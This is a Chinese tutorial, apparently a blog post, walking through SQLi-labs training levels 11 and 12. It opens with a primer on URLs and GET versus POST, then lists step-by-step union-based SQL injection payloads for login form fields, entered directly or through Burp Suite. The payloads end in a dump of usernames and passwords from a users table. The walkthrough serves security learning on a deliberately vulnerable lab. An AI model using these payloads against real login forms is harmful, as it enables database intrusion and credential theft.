【sql靶场】第11、12关-post提交注入

目录

【sql靶场】第11、12关-post提交注入

POST

一、URL

二、核心组成部分

三、数据编码规范

四、应用场景与请求方法

第十一关

方法一

步骤一

步骤二

步骤三

步骤四

步骤五

步骤六

步骤七

方法二

步骤一

步骤二

步骤三

步骤四

步骤五

步骤六

步骤七

第十二关


【sql靶场】第11、12关-post提交注入

POST

关卡讲解前小知识,不看可以跳过

一、URL

URL(Uniform Resource Locator)是互联网上唯一标识资源位置的字符串,包含协议、主机地址、路径等核心部分,用于定位和访问网络资源‌12。其标准格式为: 协议://主机地址[:端口号]/路径?查询参数#锚点 https://www.example.com:8080/api/users?id=123#section1

二、核心组成部分

‌协议(Scheme)‌,定义资源访问的通信协议,例如:

http:超文本传输协议(明文传输)‌ https:加密的HTTP协议(安全性更高)‌ ftp:文件传输协议

主机地址(Host)

域名:如 www.example.com IP地址:如 202.108.22.5

端口号:可选,默认HTTP为80,HTTPS为443,自定义端口需显式指定(如:8080)‌

‌路径(Path): 表示服务器上的资源路径,如 /api/users/img/logo.png‌12。

‌查询参数(Query Parameters):以 ? 开头,key=value 形式通过 & 分隔,用于向服务器传递附加参数,如 ?name=John&age=30。

‌锚点(Fragment)以 # 开头,用于页面内导航(如 #section1),仅客户端使用,不发送至服务器‌。

三、数据编码规范

URL中非ASCII字符(如中文、空格)需进行‌URL编码

规则如下:将字符转换为十六进制值,前缀加 %(如空格 → %20/%2F)‌,编码方式由浏览器或编程语言决定,可通过 encodeURIComponent() 等函数统一处理‌。

示例*: https://example.com/search?q=%E4%B8%AD%E6%96%87(搜索"中文")

四、应用场景与请求方法

GET请求

数据通过URL参数传递,明文暴露于地址栏,适用于非敏感数据(如搜索关键词)‌。

受URL长度限制(通常≤2048字符)‌。

POST请求

数据通过请求体传输,URL中仅包含资源路径(如 https://example.com/login)‌。

适合提交敏感信息(如密码)或大量数据(如文件上传)‌

第十一关

这一关提交方式从get变成了post,使得数据不会通过URL参数传递,明文暴露于地址栏,所以使用post提交POST请求的数据存储在‌**请求体(Body)**‌中,而非URL参数,URL中仅包含资源路径,这里就不需要再地址栏进行测试,但是我们可以在页面的账号密码输入里尝试,可不可以进行注入

学习阶段尝试注入方法有

方法一:直接在页面的账号密码输入框里面进行注入

方法二:使用BurpSuite进行拦截注入

方法一
步骤一

在账号或者密码输入框中进行测试单引号闭合

复制代码
1'

发现账号密码的输入框都可以进行注入

步骤二

进行测试列数

复制代码
1' order by 5 #
复制代码
1' order by 3 #
复制代码
1' order by 2 #

最后测试出来列数为二

步骤三

知道了列数,进行测试回显

复制代码
1' union select 1,2 #

测试出来账号回显为1,密码为2

步骤四

进行注入数据库名

复制代码
1' union select 1,database() #
步骤五

注入表名

复制代码
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#
步骤六

注入字段名

复制代码
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users')#
步骤七

注入账号密码

复制代码
1' union select  1,(select group_concat(concat_ws(0x3a,username,password)) from users)#
方法二
步骤一

打开BurpSuite,点击代理然后点击截断的截断请求,然后打开火狐浏览器,打开关卡页面,随便输入账号密码,点击提交

步骤二

进行测试列数

复制代码
1' order by 5 #
复制代码
1' order by 3 #
复制代码
1' order by 2 #

最后测试出来列数为二

步骤三

知道了列数,进行测试回显

复制代码
1' union select 1,2 #

测试出来账号回显为1,密码为2

步骤四

进行注入数据库名

复制代码
1' union select 1,database() #
步骤五

注入表名

复制代码
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#
步骤六

注入字段名

复制代码
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users')#
步骤七

注入账号密码

复制代码
1' union select  1,group_concat(concat_ws(0x3a,username,password)) from users#

方法一与方法二差不多,看个人喜欢,而且单单从sql靶场这几个关卡来看,post提交这里的sql关卡和前面的get提交差不多,只是将从地址栏注入变成了输入框或者拦截注入

其实还有一个方式可以注入,就是利用软件工具等等进行漏洞扫描注入

第十二关

与第十一关基本一样,只是闭合方式变成了"

相关推荐
cpsvps7 分钟前
触发器设计美国VPS:优化数据库性能的关键策略
数据库·oracle
s1533512 分钟前
数据结构之顺序表,链表,栈,队列
数据结构·数据库
山野万里__1 小时前
C++与Java内存共享技术:跨平台与跨语言实现指南
android·java·c++·笔记
混乱意志2 小时前
dgraph example数据导入
数据库·后端
Web极客码2 小时前
WordPress 站点漏洞利用:数据库恶意注入与多重感染的案例分析
数据库·wordpress·网站安全·数据库注入·wordpress漏洞·wordpress安全插件
刺客xs2 小时前
MySQL数据库----DML语句
数据库·mysql
嘉讯科技HIS系统2 小时前
嘉讯科技:医疗信息化、数字化、智能化三者之间的关系和区别
大数据·数据库·人工智能·科技·智慧医疗
寻丶幽风3 小时前
论文阅读笔记——VGGT: Visual Geometry Grounded Transformer
论文阅读·笔记·transformer·三维重建·3dgs·vggt
爱上语文3 小时前
Redis基础(4):Set类型和SortedSet类型
java·数据库·redis·后端
天水幼麟4 小时前
python学习笔记(深度学习)
笔记·python·学习